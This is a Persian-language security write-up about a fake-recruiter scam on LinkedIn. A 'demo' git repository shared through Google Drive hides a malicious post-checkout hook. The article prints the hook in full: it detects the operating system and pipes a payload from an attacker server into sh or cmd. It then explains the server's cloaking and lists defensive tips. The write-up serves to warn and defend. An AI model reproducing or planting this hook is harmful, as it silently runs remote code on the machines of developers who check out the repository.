وقتی git checkout کامپیوترت رو هک میکنه
خلاصهٔ کاملتر
یه نفر خودش رو به عنوان ریکروتر یه شرکت تکنولوژی در لینکدین معرفی کرد، گفتوگوی معمول دربارهی سابقه کاری، حقوق، و فرایند مصاحبه شکل گرفت. بعد از چند پیام، از توسعهدهنده خواسته شد که با یه «کدبیس دمو» آشنا بشه تا بتونن با مدیر استخدام دربارهش صحبت کنن. لینک به یه پوشهی گوگل درایو بود — اولین پرچم قرمز.
داخل پوشه یه ریپوزیتوری گیت بود با ظاهری کاملاً معمولی: README، چند فایل کد، و ساختار پروژه. README میگفت فایلهای اصلی روی شاخهی dev هستن. ولی حملهی اصلی نه در کد پروژه، بلکه در پوشهی مخفی .git پنهان بود.
در گیت یه قابلیت به اسم Git Hooks وجود داره که بهت اجازه میده اسکریپتهایی رو به رویدادهای خاص گیت وصل کنی — مثلاً قبل از هر کامیت، تستها رو اجرا کن. مشکل اینجاست که این hooks بهصورت پیشفرض با git clone منتقل نمیشن. اما چون فایل ریپوزیتوری از گوگل درایو دانلود شده بود (نه clone)، پوشهی .git با تمام محتویاتش، از جمله hook های مخرب، کاملاً سالم منتقل شد.
فایل .git/hooks/post-checkout حاوی این اسکریپت بود:
#!/bin/sh
# .git/hooks/post-checkout
uname_s="$(uname -s 2>/dev/null || echo unknown)"
case "$uname_s" in
Darwin)
curl -s 'https://nnlabs.pro/settings/mac?flag=6' | sh >/dev/null 2>&1
exit 0
;;
Linux)
wget -qO- 'https://nnlabs.pro/settings/linux?flag=6' | sh >/dev/null 2>&1
exit 0
;;
MINGW*|MSYS*|CYGWIN*)
curl -s https://nnlabs.pro/settings/windows?flag=6 | cmd >/dev/null 2>&1
exit 0
;;
esacاین اسکریپت به محض اجرای git checkout فعال میشه، سیستمعامل رو شناسایی میکنه و بسته به اون (Mac، Linux یا Windows) یه payload مخرب از سرور مهاجم دانلود میکنه و مستقیماً به sh یا cmd پایپ میکنه تا اجرا بشه — همهچیز بیسروصدا و در پسزمینه.
نکتهی جالب اینه که سرور مهاجم (nnlabs.pro) وقتی از مرورگر باز میشه، اطلاعات جغرافیایی IP رو نمایش میده و وانمود میکنه یه سرویس قانونیه. اما وقتی از طریق curl یا wget بهش دسترسی پیدا میشه، payload واقعی رو برمیگردونه. این دامنه روی سرویس Hostinger هاست شده و در زمان انتشار مقاله هنوز آنلاین بوده؛ درخواست توقف به Hostinger ارسال شده.
نکات کلیدی:
- ریپوزیتوریهای دریافتی از گوگل درایو (یا هر منبعی غیر از کلون مستقیم) رو هرگز مستقیم باز نکنید
- قبل از هر git checkout، محتویات
.git/hooks/رو بررسی کنید git cloneمعمولی hooks رو منتقل نمیکنه، اما دانلود مستقیم پوشه.gitاین محدودیت رو دور میزنه- سرویسهای جعلی میتونن بسته به User-Agent یا ابزار دسترسی، محتوای متفاوتی برگردونن




